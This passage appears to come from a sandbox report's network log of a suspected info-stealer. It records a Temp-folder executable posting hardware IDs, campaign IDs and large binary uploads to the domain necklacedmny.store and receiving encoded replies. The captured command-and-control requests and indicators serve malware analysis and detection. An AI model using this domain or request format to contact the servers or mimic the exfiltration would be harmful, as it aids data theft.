2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:09:47 UTC	15331	OUT	Data Raw: 80 ba ac e6 eb c4 49 29 36 66 ed ad 19 19 52 91 7b 76 7c 27 14 fa 70 c5 58 4e 87 c9 94 86 70 44 47 3f 03 72 56 6d 1f f9 64 d1 45 dd ae d1 13 65 f8 9b cb 0f 83 26 a5 be 57 4b b1 3f 20 99 c3 e0 4f 7d 9a d2 04 a9 2f 47 53 11 5e 13 9a fd d2 7e 5c fb 63 c7 f7 41 bc 05 5e c6 fc 7d 1a 4a 3f c5 f5 64 b2 56 92 17 24 b9 36 75 c8 21 2a 46 d4 a6 b4 8c 12 f4 70 a1 7e 8b 65 2c 81 b8 0a c4 38 5e d2 6d 09 08 2d ea 85 89 a2 53 5f c7 ce 8c d5 da a3 1b 8b 4f 1f 8d df e1 b5 3a 8c 33 68 15 f5 30 31 6e 46 89 db f5 99 64 e0 6f 1a da aa 28 71 46 ed b3 ea a5 24 a6 f7 51 67 bf d5 df 27 49 f2 da 83 8a 93 35 c7 d7 6f 8e e0 bb c4 56 14 c3 0a fe b8 c2 24 0a 7a 89 b1 d2 8e 32 f5 5b f5 59 69 9d 68 1c b8 8b 63 e5 53 cb 8c 71 c1 83 38 24 cf 7e 53 b3 57 8f b1 35 8f 8c 45 a8 60 d1 fd d4 9b Data Ascii: I)6fR{v\|'pXNpDG?rVmdEe&WK? O}/GS^~\cA^}J?dV$6u!*Fp~e,8^m-S_O:3h01nFdo(qF$Qg'I5oV$z2[YihcSq8$~SW5E`
2024-10-31 01:09:47 UTC	15331	OUT	Data Raw: 8d 13 df b9 d7 47 de 2d 9a 40 4a 6c 18 8f 79 0e 96 c1 14 bd d1 c8 cc cf 53 44 8c e5 74 8a b3 6d 79 44 89 93 b9 f5 28 bf b6 03 57 35 c1 2d 34 23 b5 88 93 ec 66 9d b2 6a 14 6f 9e b3 ad 53 8e 3d 7a 37 ee f8 36 f6 28 3d 6f 6e 84 b1 c0 b1 27 e5 47 27 da c9 25 d8 ce 0c b8 3a 9d ee 89 55 9d 17 93 42 91 bf 4a ca 80 cc b0 70 e0 e7 8d 17 1f fd 22 16 b3 47 33 f6 d8 3b 95 e4 25 ec 1b 2f 2d 1b 89 b3 5a 9c f6 0a d4 dc 2c a5 31 42 c5 9d 20 72 9f 56 86 f2 c9 a7 e9 6f 26 6a 25 b1 45 4d 8f 25 33 ad 16 9c 84 db c9 db f3 c4 9c ff 6a 77 bd 47 c8 54 61 d2 ae 55 ca 5e 44 6b 86 c9 5f a9 80 6f a6 34 37 bb d6 eb e7 7b a6 52 db 50 fa f3 3f 8d b0 a1 c1 a7 db cb a3 cf d2 62 38 34 61 f3 3c 55 b9 93 04 8b dd 2a c3 75 ae 35 8f b4 92 e6 8d dd f9 3f 0f b9 ac bf 1a 13 35 d7 df 0c ff 74 db Data Ascii: G-@JlySDtmyD(W5-4#fjoS=z76(=on'G'%:UBJp"G3;%/-Z,1B rVo&j%EM%3jwGTaU^Dk_o47{RP?b84a<U*u5?5t
2024-10-31 01:09:47 UTC	15331	OUT	Data Raw: 5c ea 9d 1e 75 8e db d2 18 f3 b1 c8 e7 fe a0 c8 f1 06 ef 7e 1e c0 44 20 36 0e 03 9f c3 28 e7 f3 40 eb 47 df 50 cc 9f 66 43 bf 01 25 0e bf b4 76 da 2c a2 0f 6b 94 0e 11 1d 29 78 80 3f 1f fd 0a ce b2 e7 04 24 11 b4 2b 8a a0 f6 04 a2 fa bf 23 3e e5 df 52 90 60 be 77 d5 53 06 ec da 2c c5 6a f1 72 01 df 07 2c 54 be 64 27 60 a6 37 05 57 4f 02 66 2a be 82 c9 0d 34 29 3a ec 39 cf 61 f7 a3 e2 79 77 61 3b 11 75 d2 00 d5 89 64 c9 45 d2 57 da 44 13 83 d4 a1 12 0d b3 68 b3 cc 19 4f 4f d6 95 09 c7 21 72 6a 90 80 fb b0 eb 31 12 84 c0 bc dd 8c 71 df d5 db 8e 7c 2e a0 35 b9 71 32 95 77 29 a1 92 ac e7 e9 86 49 c9 80 60 65 fc 16 4b 6a 32 b1 89 11 4f 29 2e 6c 5d 76 44 41 33 8a bb ac 4f 49 56 a2 cb 76 1d 51 a0 dc 85 56 9d 86 b6 ea 01 8f 85 bc 5e d0 bc f6 b6 f7 17 93 c0 05 2a Data Ascii: \u~D 6(@GPfC%v,k)x?$+#>R`wS,jr,Td'`7WOf4):9aywa;udEWDhOO!rj1q\|.5q2w)I`eKj2O).l]vDA3OIVvQV^
2024-10-31 01:09:47 UTC	15331	OUT	Data Raw: b9 14 92 0a 28 71 d1 d3 3b 75 1a ac 9c 28 8b 8d 7c 5f fb c8 61 77 7c 80 c5 37 6b 5a 9d ed a9 ca 2b 01 f6 b0 f1 92 15 cf 87 3a 53 38 92 f1 33 e8 89 58 5f 50 ce 19 6c f1 79 e0 75 3a c9 8d 7a b5 80 46 7c 4f 29 c6 02 a9 57 b1 fe e3 82 d2 0f af a2 c1 1c 79 b9 12 26 a5 03 cf 6a 7f 44 4a af 47 ec e7 31 4b 6b ca 5a fc c7 33 83 47 23 42 63 9c 55 ea 4b 3b 4e e8 ac 40 1f 42 0c 26 b2 fd 24 ac 7b 05 59 e6 04 7b 97 a8 aa 22 9c 83 6b c5 1a f8 7d 02 e2 37 d0 92 2e 1a cf 63 ac 45 1e 42 df e0 df ba 2d 1b e3 eb 86 59 80 ad 92 fa 67 77 d0 b9 a5 dc 83 3c 05 25 44 79 5e 87 e8 eb c2 b4 d1 fb b6 65 a5 3d 47 1f 48 57 98 9d a6 55 dd 10 62 c0 66 9e ff 98 c9 60 cc 76 47 32 35 09 72 e6 3e ba b5 6d 72 fb a5 eb bf 37 0a 82 1b f4 17 97 6b d1 11 65 3a ee d2 eb df a4 f7 64 56 7e 17 e8 71 Data Ascii: (q;u(\|_aw\|7kZ+:S83X_Plyu:zF\|O)Wy&jDJG1KkZ3G#BcUK;N@B&${Y{"k}7.cEB-Ygw<%Dy^e=GHWUbf`vG25r>mr7ke:dV~q
2024-10-31 01:09:47 UTC	15331	OUT	Data Raw: ce be 41 6a b8 63 9c d0 da 48 35 4e 6f fb 0e 1e 40 a9 e8 40 1e 34 37 6b 65 c0 88 54 86 2a 17 e8 49 43 c3 f8 64 78 de f1 00 a7 72 3e c8 2c 02 09 67 86 4f fa 68 76 8d 2f a7 dd ca 23 0d 66 82 36 47 bb 9e 74 15 48 1e 14 6b 00 8e 29 85 10 39 59 ef 6e 6d d9 b2 42 27 9c b0 3d 8f 2e 95 45 1f a3 1b 40 3e 3c ab 05 26 1f e4 48 b2 d2 d4 ca 68 17 2c cf 01 ec cb 8e 78 fe fa a0 27 96 85 b7 98 c2 02 f3 1b 65 37 78 d8 c9 de aa 5c 01 14 ae 8b 0c d3 0b 3b e7 da ac 3e c7 e3 2e 79 3c 05 f8 c9 67 8d 4e a0 a2 73 a4 29 10 f8 3c b2 14 45 50 12 75 d6 c0 72 1b e2 81 af 0a 97 fc c0 d7 7f a9 2f 1f 92 b5 f8 b9 71 32 31 27 21 c2 50 c6 19 32 3b 4f 64 14 6a 89 7c 51 c1 83 ec 92 e1 0c d8 a0 27 a7 8d 54 64 e4 19 bc df d9 1d 0c f5 d1 8a 63 7f 78 17 b3 0a c9 9e 98 09 9d 35 b2 03 c4 e9 34 5e Data Ascii: AjcH5No@@47keT*ICdxr>,gOhv/#f6GtHk)9YnmB'=.E@><&Hh,x'e7x\;>.y<gNs)<EPur/q21'!P2;Odj\|Q'Tdcx54^
2024-10-31 01:09:47 UTC	15331	OUT	Data Raw: b0 c3 db 7f 18 d6 ad 40 f8 0a 10 5a bb 04 39 6d d3 31 a1 93 65 59 64 55 1c 4f d4 f1 02 53 7c f3 cf 90 08 98 c2 f6 8a cd a3 4d 2b 7d 0d d2 b3 35 37 10 19 bd 76 ff 66 f6 b7 7a 93 a8 ae 9f 59 ee 3c a8 55 6d 76 25 8d 68 12 c8 cd 00 6b b9 63 16 0b 81 1f d2 fe 8d 6e 3b d3 7c 8c ac c5 a2 ff 40 66 87 5b e1 ea b4 15 ea 74 b6 5a 1b a9 17 84 2e 25 45 ac 1a d0 e4 86 de a8 73 da 95 ac e4 f7 2d e5 db 46 67 35 9d dc 1a e5 5a b8 7f 87 b5 0f 8a f0 5d 7c 9a 16 19 c3 03 56 f5 3d 44 f6 81 97 22 e0 fa 46 b4 2f f6 fd 11 d4 21 62 0b 61 bc d2 50 45 ba 3d ca c9 73 ed d7 d1 09 46 61 af f1 42 c7 2e 37 19 aa ed d8 d1 4b 9f fa d4 3c 14 68 78 fb 10 fb 7a ed 86 de c5 97 3e 37 d2 ea 6a 2c f7 24 d2 05 4c 0f c6 02 f7 15 9b e1 4c 02 1e 4e f0 72 fe e0 44 4e 7d e2 db 7b 75 f8 fc 09 39 9d 8e Data Ascii: @Z9m1eYdUOS\|M+}57vfzY<Umv%hkcn;\|@f[tZ.%Es-Fg5Z]\|V=D"F/!baPE=sFaB.7K<hxz>7j,$LLNrDN}{u9
2024-10-31 01:09:47 UTC	15331	OUT	Data Raw: 1a 97 69 8a 92 86 8a 39 ce 59 7b ac 68 39 32 92 0d b1 d4 5a 88 3a 10 2b fc 6c a0 be 8e 05 6f f0 05 85 6c aa 4a c1 c0 bf 17 9f 01 28 80 ef f9 3e b3 c8 87 9a 6f 17 6a bb a4 d1 62 68 d5 23 2d e2 61 c9 92 cd 65 4e 2d fc a6 70 4f 7f fe c5 94 cf f2 07 05 8d ce d8 ba c0 af 3e 4d 6f d9 6d fa c8 fc a6 78 7c 8b 00 a2 eb bb 14 f9 e0 46 e7 94 32 90 1e 25 88 9c 7c cb 85 06 2f 1e 9e 14 d2 f1 88 b0 a3 94 86 bc 97 06 73 9a 88 33 a1 0e f3 ef 7b bd 06 b0 c5 80 71 1e 76 b5 76 04 0f d1 72 f7 f7 98 a9 77 ce 9e 28 10 77 ec 4c 33 07 38 ea c8 7e 72 e5 30 93 61 d1 f3 89 bc f9 b7 1d 86 77 f8 75 53 45 a1 3e c2 57 47 ad b0 19 ea 9b 49 d5 b2 c1 99 1f 10 63 38 04 6b 2e 40 fe 6e e2 d0 7a fb 57 18 1e 18 53 8c e6 a0 df a3 12 b3 83 0a 83 70 31 04 5f 83 97 ed b8 da 9b fb 1c f6 02 7e bf 51 Data Ascii: i9Y{h92Z:+lolJ(>ojbh#-aeN-pO>Momx\|F2%\|/s3{qvvrw(wL38~r0awuSE>WGIc8k.@nzWSp1_~Q
2024-10-31 01:09:47 UTC	15331	OUT	Data Raw: fd 54 47 4a e0 cd ed c8 5f 18 ca e2 d7 b2 ba e0 43 ba 0a 2a 31 08 5e da f7 0a e6 b5 4b 38 20 77 61 ad 3d b6 1d 6b e6 80 da 98 4c cb 09 19 2d c2 1d e3 72 f9 41 85 f1 ab cb 9f 19 95 58 a0 3a d8 45 ff 1b 7d 41 65 16 93 5f 2d b4 01 ad 66 cc 27 a9 58 fe 22 73 23 b8 99 5a 8c 84 3c aa 08 df f9 f2 8f be ab 61 24 cc 42 53 40 cb f1 68 9f b9 95 a1 f5 e0 b5 4c 3d a1 55 2c ff 8c de 44 07 2e f7 a2 7e 4a f8 4c d4 fe 19 ad ba 45 d9 0a dc fe dc 6e fe 17 a2 ad 9f 12 d6 47 be 5b f1 aa 39 15 dc 9b aa af 15 8f 46 ab a6 cb a5 13 ff d0 50 1f fe 62 4f c4 84 3f b6 e4 31 fe a7 9f 8c 29 ff 06 79 1d bd e9 a2 40 f5 5e 5f 93 a9 50 f1 82 0b f2 c9 f3 38 f4 b3 59 a4 2e 63 ec 70 4d 77 47 42 e4 64 45 db a4 96 89 8a ab c4 3a 29 ff 61 f4 11 e2 90 d1 d7 41 bc d4 a8 d4 99 c1 f0 07 31 85 df c3 Data Ascii: TGJ_C*1^K8 wa=kL-rAX:E}Ae_-f'X"s#Z<a$BS@hL=U,D.~JLEnG[9FPbO?1)y@^_P8Y.cpMwGBdE:)aA1
2024-10-31 01:09:47 UTC	15331	OUT	Data Raw: 70 76 c8 fd 65 34 20 0b d1 6e 4e 35 a1 81 a5 9e 35 d3 06 82 3b 0b 2a 65 76 49 01 8a 30 0b 3b 5d 64 5f 23 bf f8 e6 31 f7 cc 4b 01 28 53 23 74 8c 14 bc 6a de fd cf af bb 38 22 9a b7 ef 14 7c 03 d5 e3 ad 96 bd 3f 7e 03 90 e2 09 e9 bd 9f b2 c8 12 0a 17 10 c8 ee ec fb f1 04 9e 6f 7f 8c de 78 a2 33 f1 59 4d 2f 42 c9 05 f6 41 a5 03 7c fd f7 6b 37 90 7f 62 37 12 03 c1 cb 2b 14 21 f8 3c 66 56 9e 7b 4c 0d 9c db 48 1c 43 5e cd fa b0 cb 68 a5 67 74 63 f3 d1 f3 d6 8c 7a 4b 5c de d0 c3 99 ea 27 43 dd 73 c1 59 49 98 bf 3f fc 49 dd 18 fe f5 83 64 99 35 48 b4 eb 48 ab 75 4f e2 83 68 ff e5 9f fb 29 d7 3f ab 2a 8a 0b cb 60 53 5b 91 e6 32 34 e2 ef 1b ff 1e 53 b8 1b 6a 5f 49 8c 28 6c 09 48 5d 3d 2c 0e 30 d9 f5 e3 ba ca d1 a7 50 47 50 40 52 2d 01 40 22 60 ea 88 70 8c 31 5c f9 Data Ascii: pve4 nN55;evI0;]d_#1K(S#tj8"\|?~ox3YM/BA\|k7b7+!<fV{LHC^hgtczK\'CsYI?Id5HHuOh)?`S[24Sj_I(lH]=,0PGP@R-@"`p1\
2024-10-31 01:09:49 UTC	1027	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5db4p3g9qm23s246ah9hd484al; expires=Sun, 23-Feb-2025 18:56:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pKsiIVNP5o%2F3S0Wm3hvFGgzj5BRoQz%2Bc2bqY4v3SULPItW1EIEKACXkrM%2B2vy%2BKT0uxCalpayIovfKl8CAQfXOebf5vdVyZpfQrLH50%2BFZvaMk1vV5o3vIMCldt2MpOoiutc%2Bko%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc2fad9330bcf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1195&sent=221&recv=618&lost=0&retrans=0&sent_bytes=2844&recv_bytes=576134&delivery_rate=2516072&cwnd=236&unsent_bytes=0&cid=a219a24a7e5c530c&ts=1828&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50009	188.114.97.3	443	5808	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:53 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 01:09:53 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 01:09:53 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h3r8a61ls1e1eiq0bp36ug673p; expires=Sun, 23-Feb-2025 18:56:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rLB0DpgxCtLJVSNGcIZ3TYhr1Mrhy5lpcV4rBlWDqnqPovP6u%2BCnLZjonWop3RVU5K2D8yEoxKFxDZdYkWE3e5lCiUfa9o%2BBQDtcH0LEtwCwqFgJKOHDk59fYgb9e2QwYVrgmvg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc3217b41ddab-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1198&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2403319&cwnd=252&unsent_bytes=0&cid=8272f5339706d5c9&ts=638&x=0"
2024-10-31 01:09:53 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 01:09:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50010	188.114.97.3	443	5808	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:54 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 01:09:54 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 01:09:54 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m6gisgti72f0scap86jb8nsqqu; expires=Sun, 23-Feb-2025 18:56:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=st4hV861L9kNxpkLh9VX2p2FLnyZNBXPkjpiNTwSN8dL%2BtoILbluq17eijOLW7R4w4m%2BwEio8b4sUQTxJcAUkeLXl9E4gIyprKpC8ueufdph0wbMYqzKxxWomauIal8fiTKLifk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc328efe5a924-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1848&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1476797&cwnd=201&unsent_bytes=0&cid=ed70b0dd053b37d3&ts=325&x=0"
2024-10-31 01:09:54 UTC	358	IN	Data Raw: 32 64 62 64 0d 0a 36 44 64 68 6e 5a 54 44 45 57 55 42 37 69 75 6a 6d 30 6e 39 79 5a 70 6f 4a 30 53 44 6e 34 38 33 59 62 65 73 6a 32 4b 58 57 2f 53 54 46 52 65 2f 72 76 63 39 52 33 4b 4c 43 5a 6e 76 4f 34 69 73 74 6b 70 47 49 4b 47 6c 36 56 59 4e 78 4d 6d 6a 51 4f 45 32 31 74 4a 52 41 50 48 6e 70 6a 31 48 5a 4a 59 4a 6d 63 41 79 33 36 7a 30 53 68 31 6d 35 76 58 74 56 67 33 56 7a 65 51 4e 35 7a 65 58 67 46 73 47 39 66 47 67 64 51 52 74 67 30 37 47 2f 69 69 58 70 2f 4d 46 54 79 6d 68 73 36 31 53 47 35 57 57 72 53 2f 79 4c 35 57 6c 56 68 4c 32 74 72 34 39 48 69 4f 4c 52 59 47 68 61 35 79 73 2b 41 52 42 49 4f 6a 33 35 31 38 46 31 4d 6a 6c 45 76 34 39 6e 49 42 56 42 66 54 37 71 57 45 4a 5a 34 52 46 77 50 51 6f 33 2b 57 34 44 56 31 6d 75 62 32 2b 5a 77 44 45 33 Data Ascii: 2dbd6DdhnZTDEWUB7iujm0n9yZpoJ0SDn483Ybesj2KXW/STFRe/rvc9R3KLCZnvO4istkpGIKGl6VYNxMmjQOE21tJRAPHnpj1HZJYJmcAy36z0Sh1m5vXtVg3VzeQN5zeXgFsG9fGgdQRtg07G/iiXp/MFTymhs61SG5WWrS/yL5WlVhL2tr49HiOLRYGha5ys+ARBIOj3518F1MjlEv49nIBVBfT7qWEJZ4RFwPQo3+W4DV1mub2+ZwDE3
2024-10-31 01:09:54 UTC	1369	IN	Data Raw: 61 34 64 43 78 4f 73 67 6c 71 62 31 43 6b 67 73 37 76 37 74 55 67 6e 66 77 65 63 45 2b 44 53 51 69 6c 56 44 73 62 61 6d 61 30 63 37 7a 47 72 45 36 53 79 54 76 62 6f 77 42 54 6d 76 35 4b 31 53 44 35 57 57 72 51 6a 77 4f 70 57 42 57 67 44 33 2f 62 4e 7a 46 57 57 42 54 4e 50 2f 4c 70 47 68 2b 78 68 50 4b 4f 66 2b 35 46 34 4b 30 4d 6e 70 51 4c 74 35 6b 5a 49 56 57 37 2f 58 72 48 67 4c 61 5a 74 4a 67 65 5a 6c 68 75 76 2f 42 67 56 2b 6f 66 6e 73 55 51 4c 52 77 4f 4d 45 2b 54 2b 59 68 31 6f 46 39 66 61 6d 65 51 39 72 6a 55 54 4b 39 69 75 61 70 76 77 4d 53 53 66 6b 76 61 4d 56 42 4d 32 4f 74 55 44 62 50 70 57 59 46 7a 62 38 2b 4b 39 30 45 53 4f 54 42 39 69 35 4c 4a 50 72 6f 45 70 4c 49 2b 37 76 37 45 63 47 32 39 7a 68 42 66 4d 30 6c 59 52 56 42 76 6a 37 72 33 55 Data Ascii: a4dCxOsglqb1Ckgs7v7tUgnfwecE+DSQilVDsbama0c7zGrE6SyTvbowBTmv5K1SD5WWrQjwOpWBWgD3/bNzFWWBTNP/LpGh+xhPKOf+5F4K0MnpQLt5kZIVW7/XrHgLaZtJgeZlhuv/BgV+ofnsUQLRwOME+T+Yh1oF9fameQ9rjUTK9iuapvwMSSfkvaMVBM2OtUDbPpWYFzb8+K90ESOTB9i5LJProEpLI+7v7EcG29zhBfM0lYRVBvj7r3U
2024-10-31 01:09:54 UTC	1369	IN	Data Raw: 39 69 35 4c 4a 50 72 6f 45 70 4a 4c 2b 48 32 35 31 45 44 30 73 50 6f 41 2f 49 36 6d 34 31 66 44 66 6a 79 72 58 6f 4b 5a 59 78 4f 78 66 77 35 6d 71 4c 30 42 67 56 6f 6f 66 72 31 46 56 75 56 34 65 6f 57 39 68 61 56 6d 31 78 44 34 4c 69 34 4d 77 42 76 7a 42 47 42 2f 69 36 58 6f 50 34 43 52 54 54 6b 38 2b 5a 55 43 64 50 50 34 41 7a 7a 4f 5a 65 4b 55 77 2f 2f 38 61 5a 68 46 57 61 4b 57 38 75 35 5a 64 2b 73 34 45 6f 64 5a 74 66 74 2b 6b 51 56 6c 2f 76 75 44 76 73 2b 67 4d 70 4b 54 65 61 32 70 6e 39 48 4f 38 78 43 77 66 55 73 6c 36 33 38 41 6b 6f 70 36 4f 2f 73 57 51 33 48 79 65 30 4a 2b 7a 61 61 67 31 67 45 38 76 32 72 66 67 4e 6b 6a 51 6d 50 75 53 79 48 36 36 42 4b 63 7a 62 73 38 63 4e 65 44 39 79 4f 38 6b 37 73 65 5a 47 47 46 56 75 2f 38 71 31 37 44 57 79 46 Data Ascii: 9i5LJProEpJL+H251ED0sPoA/I6m41fDfjyrXoKZYxOxfw5mqL0BgVoofr1FVuV4eoW9haVm1xD4Li4MwBvzBGB/i6XoP4CRTTk8+ZUCdPP4AzzOZeKUw//8aZhFWaKW8u5Zd+s4EodZtft+kQVl/vuDvs+gMpKTea2pn9HO8xCwfUsl638Akop6O/sWQ3Hye0J+zaag1gE8v2rfgNkjQmPuSyH66BKczbs8cNeD9yO8k7seZGGFVu/8q17DWyF
2024-10-31 01:09:54 UTC	1369	IN	Data Raw: 79 62 72 66 64 4b 43 32 62 6d 35 61 30 4e 51 2f 72 70 32 45 4c 55 41 39 61 56 47 78 71 2f 38 61 30 7a 58 79 4f 41 53 73 33 78 4a 4a 6d 69 39 41 42 4d 4c 65 33 32 36 56 6b 4b 30 4d 6a 73 42 66 41 34 6b 6f 5a 66 42 66 7a 31 72 6e 77 49 61 38 77 48 67 66 34 7a 33 2f 4f 34 4c 31 49 74 37 2f 75 74 53 6b 33 4d 6a 75 6f 4d 74 57 48 57 68 6c 77 46 2b 66 4f 74 63 67 46 72 69 55 48 46 2b 43 32 5a 71 50 63 4f 51 43 66 75 2b 65 46 62 43 64 54 50 34 51 76 36 4d 70 50 4b 47 30 50 34 37 75 45 72 52 31 4b 50 58 39 62 70 4a 39 2b 30 74 68 4d 46 49 65 32 39 74 52 55 43 78 38 54 6e 44 76 41 32 6b 34 6c 61 42 50 4c 77 72 58 6b 4f 61 34 70 47 79 4f 73 6f 6b 36 58 2f 42 45 6b 6f 37 50 66 75 57 45 4f 62 6a 75 6f 59 74 57 48 57 70 6c 49 4f 30 66 32 74 64 45 64 38 77 6c 43 42 2f Data Ascii: ybrfdKC2bm5a0NQ/rp2ELUA9aVGxq/8a0zXyOASs3xJJmi9ABMLe326VkK0MjsBfA4koZfBfz1rnwIa8wHgf4z3/O4L1It7/utSk3MjuoMtWHWhlwF+fOtcgFriUHF+C2ZqPcOQCfu+eFbCdTP4Qv6MpPKG0P47uErR1KPX9bpJ9+0thMFIe29tRUCx8TnDvA2k4laBPLwrXkOa4pGyOsok6X/BEko7PfuWEObjuoYtWHWplIO0f2tdEd8wlCB/
2024-10-31 01:09:54 UTC	1369	IN	Data Raw: 34 55 67 55 51 35 75 33 39 56 6b 48 6b 32 4f 34 57 2f 6a 53 61 79 6b 70 4e 35 72 61 6d 66 30 63 37 7a 45 2f 4f 38 43 69 51 71 76 45 47 53 43 50 6f 2b 4f 78 54 42 39 2f 45 37 51 62 7a 4f 4a 4f 41 56 67 4c 31 2f 36 5a 37 41 47 43 65 43 59 2b 35 4c 49 66 72 6f 45 70 73 49 66 50 7a 2f 52 55 63 6d 39 65 74 42 2f 6c 35 7a 73 70 52 43 66 44 79 70 6e 38 42 5a 6f 70 45 77 50 59 71 6e 36 54 38 41 55 77 67 34 50 44 6f 57 41 66 48 78 4f 59 50 2b 54 43 61 68 78 56 4e 76 2f 47 35 4d 31 38 6a 76 55 54 50 39 79 79 4a 36 2b 64 45 58 47 62 6d 38 61 30 4e 51 39 54 43 34 67 50 36 4f 70 57 4c 58 78 48 74 2b 71 68 37 41 6d 2b 48 52 38 66 72 4c 5a 43 69 2b 77 6c 4d 49 65 6e 78 35 31 59 45 6c 59 43 74 42 2b 31 35 7a 73 70 32 46 4f 2f 37 34 57 78 4a 65 73 78 4f 7a 62 6c 7a 33 36 Data Ascii: 4UgUQ5u39VkHk2O4W/jSaykpN5ramf0c7zE/O8CiQqvEGSCPo+OxTB9/E7QbzOJOAVgL1/6Z7AGCeCY+5LIfroEpsIfPz/RUcm9etB/l5zspRCfDypn8BZopEwPYqn6T8AUwg4PDoWAfHxOYP+TCahxVNv/G5M18jvUTP9yyJ6+dEXGbm8a0NQ9TC4gP6OpWLXxHt+qh7Am+HR8frLZCi+wlMIenx51YElYCtB+15zsp2FO/74WxJesxOzblz36
2024-10-31 01:09:54 UTC	1369	IN	Data Raw: 4b 65 37 30 35 46 45 4c 31 73 37 70 42 50 49 38 6c 59 5a 65 42 50 7a 35 70 58 6f 4a 61 6f 4d 4a 6a 37 6b 73 68 2b 75 67 53 6d 51 39 34 76 48 67 46 52 79 62 31 36 30 48 2b 58 6e 4f 79 6c 6b 4e 2b 76 61 72 64 51 4e 6d 69 6b 50 45 2b 53 43 63 70 50 77 4d 51 53 6e 68 39 75 52 55 42 64 44 45 35 67 62 34 4f 70 43 4d 46 55 32 2f 38 62 6b 7a 58 79 4f 73 55 73 7a 31 4c 4e 2b 30 74 68 4d 46 49 65 32 39 74 52 55 49 32 63 72 71 41 50 67 36 6e 6f 39 52 43 66 72 32 71 57 45 50 59 34 74 62 30 2f 6b 69 6d 71 66 37 43 6b 45 67 36 50 76 75 55 55 4f 62 6a 75 6f 59 74 57 48 57 70 31 6b 45 31 76 47 36 4d 78 67 74 6c 51 6e 47 39 57 76 48 36 2f 6b 42 54 79 6e 73 2f 75 74 57 43 4e 44 45 37 41 66 39 4e 49 53 4a 57 67 7a 37 39 71 35 31 41 57 4b 44 54 38 62 77 4b 70 65 73 75 45 51 Data Ascii: Ke705FEL1s7pBPI8lYZeBPz5pXoJaoMJj7ksh+ugSmQ94vHgFRyb160H+XnOylkN+vardQNmikPE+SCcpPwMQSnh9uRUBdDE5gb4OpCMFU2/8bkzXyOsUsz1LN+0thMFIe29tRUI2crqAPg6no9RCfr2qWEPY4tb0/kimqf7CkEg6PvuUUObjuoYtWHWp1kE1vG6MxgtlQnG9WvH6/kBTyns/utWCNDE7Af9NISJWgz79q51AWKDT8bwKpesuEQ
